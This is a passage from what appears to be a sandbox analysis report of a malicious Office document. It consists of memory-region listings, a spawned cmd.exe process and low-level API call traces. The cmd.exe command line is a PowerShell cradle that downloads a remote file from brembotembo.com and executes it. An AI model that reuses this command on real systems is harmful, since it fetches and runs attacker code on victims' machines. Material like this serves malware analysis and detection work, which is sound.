(normalized: "c:\\windows\\system32\\msvcp140.dll") Region: id = 701 start_va = 0x7fefa980000 end_va = 0x7fefa982fff entry_point = 0x7fefa980000 region_type = mapped_file name = "api-ms-win-crt-utility-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-utility-l1-1-0.dll") Region: id = 702 start_va = 0x7fefa990000 end_va = 0x7fefa992fff entry_point = 0x7fefa990000 region_type = mapped_file name = "api-ms-win-crt-environment-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-environment-l1-1-0.dll") Region: id = 703 start_va = 0x7fefa9a0000 end_va = 0x7fefa9a2fff entry_point = 0x7fefa9a0000 region_type = mapped_file name = "api-ms-win-crt-filesystem-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-filesystem-l1-1-0.dll") Region: id = 704 start_va = 0x7fefa9b0000 end_va = 0x7fefa9b2fff entry_point = 0x7fefa9b0000 region_type = mapped_file name = "api-ms-win-crt-time-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-time-l1-1-0.dll") Region: id = 705 start_va = 0x7fefa9c0000 end_va = 0x7fefa9c4fff entry_point = 0x7fefa9c0000 region_type = mapped_file name = "api-ms-win-crt-multibyte-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-multibyte-l1-1-0.dll") Region: id = 706 start_va = 0x7fefdda0000 end_va = 0x7fefde76fff entry_point = 0x7fefdda0000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 707 start_va = 0x180000 end_va = 0x18ffff entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 708 start_va = 0x190000 end_va = 0x191fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 709 start_va = 0x7fef1310000 end_va = 0x7fef1787fff entry_point = 0x7fef1310000 region_type = mapped_file name = "mso30win32client.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\Mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\mso30win32client.dll") Region: id = 710 start_va = 0x1a0000 end_va = 0x1a1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 711 start_va = 0x7fef0a20000 end_va = 0x7fef130afff entry_point = 0x7fef0a20000 region_type = mapped_file name = "mso40uiwin32client.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\Mso40UIwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\mso40uiwin32client.dll") Region: id = 712 start_va = 0x7fef8eb0000 end_va = 0x7fef90c4fff entry_point = 0x7fef8eb0000 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\gdiplus.dll") Region: id = 759 start_va = 0x1b0000 end_va = 0x1b1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 760 start_va = 0x7fef0250000 end_va = 0x7fef0a1bfff entry_point = 0x7fef0250000 region_type = mapped_file name = "mso99lwin32client.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\Mso99Lwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\mso99lwin32client.dll") Region: id = 761 start_va = 0x7fef7ac0000 end_va = 0x7fef7ae6fff entry_point = 0x7fef7ac0000 region_type = mapped_file name = "sppc.dll" filename = "\\Windows\\System32\\sppc.dll" (normalized: "c:\\windows\\system32\\sppc.dll") Region: id = 762 start_va = 0x7fef90e0000 end_va = 0x7fef90e6fff entry_point = 0x7fef90e0000 region_type = mapped_file name = "msimg32.dll" filename = "\\Windows\\System32\\msimg32.dll" (normalized: "c:\\windows\\system32\\msimg32.dll") Region: id = 763 start_va = 0x7fefaee0000 end_va = 0x7fefaeeafff entry_point = 0x7fefaee0000 region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 801 start_va = 0x430000 end_va = 0x431fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 802 start_va = 0x440000 end_va = 0x446fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 803 start_va = 0x450000 end_va = 0x451fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 804 start_va = 0x460000 end_va = 0x461fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 805 start_va = 0x1e50000 end_va = 0x1e5ffff entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 806 start_va = 0x2030000 end_va = 0x212ffff entry_point = 0x0 region_type = private name = "private_0x0000000002030000" filename = "" Region: id = 807 start_va = 0x21a0000 end_va = 0x229ffff entry_point = 0x0 region_type = private name = "private_0x00000000021a0000" filename = "" Region: id = 808 start_va = 0x22a0000 end_va = 0x2692fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000022a0000" filename = "" Region: id = 809 start_va = 0x26a0000 end_va = 0x296efff entry_point = 0x26a0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 810 start_va = 0x371e0000 end_va = 0x371effff entry_point = 0x0 region_type = private name = "private_0x00000000371e0000" filename = "" Region: id = 811 start_va = 0x7feee330000 end_va = 0x7feeec50fff entry_point = 0x7feee330000 region_type = mapped_file name = "mso99lres.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO99LRES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\mso99lres.dll") Region: id = 812 start_va = 0x7feeec60000 end_va = 0x7feeef67fff entry_point = 0x7feeec60000 region_type = mapped_file name = "mso40uires.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO40UIRES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\mso40uires.dll") Region: id = 813 start_va = 0x7feeef70000 end_va = 0x7fef024bfff entry_point = 0x7feeef70000 region_type = mapped_file name = "mso.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\mso.dll") Region: id = 814 start_va = 0x7fef2fd0000 end_va = 0x7fef30b1fff entry_point = 0x7fef2fd0000 region_type = mapped_file name = "d2d1.dll" filename = "\\Windows\\System32\\d2d1.dll" (normalized: "c:\\windows\\system32\\d2d1.dll") Region: id = 815 start_va = 0x7fef8450000 end_va = 0x7fef8608fff entry_point = 0x7fef8450000 region_type = mapped_file name = "office.odf" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\cultures\\office.odf") Region: id = 816 start_va = 0x7fef8610000 end_va = 0x7fef8925fff entry_point = 0x7fef8610000 region_type = mapped_file name = "msi.dll" filename = "\\Windows\\System32\\msi.dll" (normalized: "c:\\windows\\system32\\msi.dll") Region: id = 817 start_va = 0x7fefb5d0000 end_va = 0x7fefb5e0fff entry_point = 0x7fefb5d0000 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 818 start_va = 0x7fefb770000 end_va = 0x7fefb787fff entry_point = 0x7fefb770000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 819 start_va = 0x7fefbc00000 end_va = 0x7fefbdf3fff entry_point = 0x7fefbc00000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 820 start_va = 0x7fefbe40000 end_va = 0x7fefbee6fff entry_point = 0x7fefbe40000 region_type = mapped_file name = "dxgi.dll" filename = "\\Windows\\System32\\dxgi.dll" (normalized: "c:\\windows\\system32\\dxgi.dll") Region: id = 821 start_va = 0x7fefc500000 end_va = 0x7fefc50bfff entry_point = 0x7fefc500000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 822 start_va = 0x7fefd2e0000 end_va = 0x7fefd31cfff entry_point = 0x7fefd2e0000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 823 start_va = 0x7fefd3e0000 end_va = 0x7fefd3eefff entry_point = 0x7fefd3e0000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 824 start_va = 0x7fefd3f0000 end_va = 0x7fefd429fff entry_point = 0x7fefd3f0000 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 825 start_va = 0x7fefd5a0000 end_va = 0x7fefd706fff entry_point = 0x7fefd5a0000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 826 start_va = 0x7fefe8f0000 end_va = 0x7fefe960fff entry_point = 0x7fefe8f0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 827 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 828 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 829 start_va = 0x470000 end_va = 0x470fff entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 830 start_va = 0x1f40000 end_va = 0x1f4ffff entry_point = 0x0 region_type = private name = "private_0x0000000001f40000" filename = "" Region: id = 831 start_va = 0x2970000 end_va = 0x2d6ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002970000" filename = "" Region: id = 832 start_va = 0x2dc0000 end_va = 0x2ebffff entry_point = 0x0 region_type = private name = "private_0x0000000002dc0000" filename = "" Region: id = 833 start_va = 0x2f90000 end_va = 0x308ffff entry_point = 0x0 region_type = private name = "private_0x0000000002f90000" filename = "" Region: id = 834 start_va = 0x775c0000 end_va = 0x775c6fff entry_point = 0x775c0000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 835 start_va = 0x7fee9020000 end_va = 0x7fee919dfff entry_point = 0x7fee9020000 region_type = mapped_file name = "dwrite.dll" filename = "\\Windows\\System32\\DWrite.dll" (normalized: "c:\\windows\\system32\\dwrite.dll") Region: id = 836 start_va = 0x7fee91a0000 end_va = 0x7fee931afff entry_point = 0x7fee91a0000 region_type = mapped_file name = "msointl.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\1033\\msointl.dll") Region: id = 837 start_va = 0x7fee9320000 end_va = 0x7fee94effff entry_point = 0x7fee9320000 region_type = mapped_file name = "d3d10warp.dll" filename = "\\Windows\\System32\\d3d10warp.dll" (normalized: "c:\\windows\\system32\\d3d10warp.dll") Region: id = 838 start_va = 0x7fee94f0000 end_va = 0x7feee32efff entry_point = 0x7fee94f0000 region_type = mapped_file name = "msores.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSORES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\msores.dll") Region: id = 839 start_va = 0x7fef90d0000 end_va = 0x7fef90defff entry_point = 0x7fef90d0000 region_type = mapped_file name = "msointl30.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\1033\\msointl30.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\1033\\msointl30.dll") Region: id = 840 start_va = 0x7fefa8d0000 end_va = 0x7fefa8d9fff entry_point = 0x7fefa8d0000 region_type = mapped_file name = "davhlpr.dll" filename = "\\Windows\\System32\\davhlpr.dll" (normalized: "c:\\windows\\system32\\davhlpr.dll") Region: id = 841 start_va = 0x7fefa8e0000 end_va = 0x7fefa8fbfff entry_point = 0x7fefa8e0000 region_type = mapped_file name = "davclnt.dll" filename = "\\Windows\\System32\\davclnt.dll" (normalized: "c:\\windows\\system32\\davclnt.dll") Region: id = 842 start_va = 0x7fefbef0000 end_va = 0x7fefbf44fff entry_point = 0x7fefbef0000 region_type = mapped_file name = "d3d10_1core.dll" filename = "\\Windows\\System32\\d3d10_1core.dll" (normalized: "c:\\windows\\system32\\d3d10_1core.dll") Region: id = 843 start_va = 0x7fefbf50000 end_va = 0x7fefbf83fff entry_point = 0x7fefbf50000 region_type = mapped_file name = "d3d10_1.dll" filename = "\\Windows\\System32\\d3d10_1.dll" (normalized: "c:\\windows\\system32\\d3d10_1.dll") Region: id = 844 start_va = 0x7fefd540000 end_va = 0x7fefd575fff entry_point = 0x7fefd540000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 845 start_va = 0x7fefd580000 end_va = 0x7fefd599fff entry_point = 0x7fefd580000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 846 start_va = 0x7fefdb10000 end_va = 0x7fefdce6fff entry_point = 0x7fefdb10000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 847 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 848 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 863 start_va = 0x480000 end_va = 0x480fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000480000" filename = "" Region: id = 864 start_va = 0x30b0000 end_va = 0x31affff entry_point = 0x0 region_type = private name = "private_0x00000000030b0000" filename = "" Region: id = 865 start_va = 0x3b20000 end_va = 0x3c1ffff entry_point = 0x0 region_type = private name = "private_0x0000000003b20000" filename = "" Region: id = 866 start_va = 0x7fee6e90000 end_va = 0x7fee6ffffff entry_point = 0x7fee6e90000 region_type = mapped_file name = "msptls.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSPTLS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\msptls.dll") Region: id = 867 start_va = 0x7fee8d50000 end_va = 0x7fee8f72fff entry_point = 0x7fee8d50000 region_type = mapped_file name = "riched20.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\RICHED20.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\riched20.dll") Region: id = 868 start_va = 0x7fef2ac0000 end_va = 0x7fef2b85fff entry_point = 0x7fef2ac0000 region_type = mapped_file name = "d3d11.dll" filename = "\\Windows\\System32\\d3d11.dll" (normalized: "c:\\windows\\system32\\d3d11.dll") Region: id = 869 start_va = 0x7fef7850000 end_va = 0x7fef7854fff entry_point = 0x7fef7850000 region_type = mapped_file name = "ospintl.dll" filename = "\\Program Files\\Microsoft Office\\Office16\\1033\\ospintl.dll" (normalized: "c:\\program files\\microsoft office\\office16\\1033\\ospintl.dll") Region: id = 870 start_va = 0x7fefc280000 end_va = 0x7fefc2abfff entry_point = 0x7fefc280000 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 871 start_va = 0x7fefd340000 end_va = 0x7fefd34efff entry_point = 0x7fefd340000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 872 start_va = 0x7fefe970000 end_va = 0x7feff6f7fff entry_point = 0x7fefe970000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 873 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 874 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Thread: id = 43 os_tid = 0x4d8 Thread: id = 47 os_tid = 0x274 Thread: id = 49 os_tid = 0x9b8 Thread: id = 53 os_tid = 0x9d8 Thread: id = 54 os_tid = 0x9d4 Thread: id = 55 os_tid = 0x9e0 Thread: id = 57 os_tid = 0x9f0 Process: id = "4" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x3aa42000" os_pid = "0xb94" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x82c" cmd_line = "CMD.EXE /c C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -nop -NoExit -c IEX ((new-object net.webclient).downloadstring(\\\"http://brembotembo.com/1.dat\\\"))" cur_dir = "C:\\Users\\qj4SUKboE\\Desktop\\" os_username = "EXB9WSP\\qj4SUKboE" os_groups = "EXB9WSP\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eaf1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1018 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1019 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1020 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1021 start_va = 0xb0000 end_va = 0x1affff entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 1022 start_va = 0x4acf0000 end_va = 0x4ad48fff entry_point = 0x4acf0000 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe") Region: id = 1023 start_va = 0x773f0000 end_va = 0x77598fff entry_point = 0x773f0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1024 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1025 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1026 start_va = 0x7feff710000 end_va = 0x7feff710fff entry_point = 0x7feff710000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1027 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1028 start_va = 0x7fffffdb000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 1029 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 1030 start_va = 0x2d0000 end_va = 0x3cffff entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 1031 start_va = 0x772d0000 end_va = 0x773eefff entry_point = 0x772d0000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1032 start_va = 0x7fefd430000 end_va = 0x7fefd49afff entry_point = 0x7fefd430000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1033 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1034 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1035 start_va = 0x1b0000 end_va = 0x216fff entry_point = 0x1b0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1036 start_va = 0x771d0000 end_va = 0x772c9fff entry_point = 0x771d0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1037 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1038 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1039 start_va = 0x7fef90f0000 end_va = 0x7fef90f7fff entry_point = 0x7fef90f0000 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\System32\\winbrand.dll" (normalized: "c:\\windows\\system32\\winbrand.dll") Region: id = 1040 start_va = 0x7fefdd90000 end_va = 0x7fefdd9dfff entry_point = 0x7fefdd90000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1041 start_va = 0x7fefde80000 end_va = 0x7fefdf1efff entry_point = 0x7fefde80000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1042 start_va = 0x7fefe060000 end_va = 0x7fefe0c6fff entry_point = 0x7fefe060000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1043 start_va = 0x7fefe4c0000 end_va = 0x7fefe588fff entry_point = 0x7fefe4c0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1044 start_va = 0x50000 end_va = 0x56fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 1045 start_va = 0x60000 end_va = 0x61fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 1046 start_va = 0x70000 end_va = 0x70fff entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 1047 start_va = 0x80000 end_va = 0x80fff entry_point = 0x0 region_type = private name = "private_0x0000000000080000" filename = "" Region: id = 1048 start_va = 0x2c0000 end_va = 0x2cffff entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 1049 start_va = 0x3d0000 end_va = 0x4cffff entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 1050 start_va = 0x4d0000 end_va = 0x657fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004d0000" filename = "" Region: id = 1051 start_va = 0x660000 end_va = 0x7e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000660000" filename = "" Region: id = 1052 start_va = 0x7f0000 end_va = 0x1beffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007f0000" filename = "" Region: id = 1053 start_va = 0x1bf0000 end_va = 0x1f32fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001bf0000" filename = "" Region: id = 1054 start_va = 0x7fefdf20000 end_va = 0x7fefe028fff entry_point = 0x7fefdf20000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1055 start_va = 0x7fefe030000 end_va = 0x7fefe05dfff entry_point = 0x7fefe030000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1056 start_va = 0x1f40000 end_va = 0x220efff entry_point = 0x1f40000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 77 os_tid = 0xb90 [0057.604] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1afeb0 | out: lpSystemTimeAsFileTime=0x1afeb0*(dwLowDateTime=0x105dd90, dwHighDateTime=0x1d3fd7c)) [0057.604] GetCurrentProcessId () returned 0xb94 [0057.604] GetCurrentThreadId () returned 0xb90 [0057.604] GetTickCount () returned 0xa68d15 [0057.604] QueryPerformanceCounter (in: lpPerformanceCount=0x1afeb8 | out: lpPerformanceCount=0x1afeb8*=460374796) returned 1 [0057.605] GetModuleHandleW (lpModuleName=0x0) returned 0x4acf0000 [0057.605] __set_app_type (_Type=0x1) [0057.605] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4ad17810) returned 0x0 [0057.605] __getmainargs (in: _Argc=0x4ad3a608, _Argv=0x4ad3a618, _Env=0x4ad3a610, _DoWildCard=0, _StartInfo=0x4ad1e0f4 | out: _Argc=0x4ad3a608, _Argv=0x4ad3a618, _Env=0x4ad3a610) returned 0 [0057.605] GetCurrentThreadId () returned 0xb90 [0057.605] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xb90) returned 0x3c [0057.605] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x772d0000 [0057.605] GetProcAddress (hModule=0x772d0000, lpProcName="SetThreadUILanguage") returned 0x772e6d40 [0057.605] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0057.606] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0057.606] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x1afe48 | out: phkResult=0x1afe48*=0x0) returned 0x2 [0057.606] VirtualQuery (in: lpAddress=0x1afe30, lpBuffer=0x1afdb0, dwLength=0x30 | out: lpBuffer=0x1afdb0*(BaseAddress=0x1af000, AllocationBase=0xb0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0057.606] VirtualQuery (in: lpAddress=0xb0000, lpBuffer=0x1afdb0, dwLength=0x30 | out: lpBuffer=0x1afdb0*(BaseAddress=0xb0000, AllocationBase=0xb0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0057.606] VirtualQuery (in: lpAddress=0xb1000, lpBuffer=0x1afdb0, dwLength=0x30 | out: lpBuffer=0x1afdb0*(BaseAddress=0xb1000, AllocationBase=0xb0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0057.606] VirtualQuery (in: lpAddress=0xb4000, lpBuffer=0x1afdb0, dwLength=0x30 | out: lpBuffer=0x1afdb0*(BaseAddress=0xb4000, AllocationBase=0xb0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0057.606] VirtualQuery (in: lpAddress=0x1b0000, lpBuffer=0x1afdb0, dwLength=0x30 | out: lpBuffer=0x1afdb0*(BaseAddress=0x1b0000, AllocationBase=0x1b0000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x67000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0057.606] GetConsoleOutputCP () returned 0x1b5 [0057.606] GetCPInfo (in: 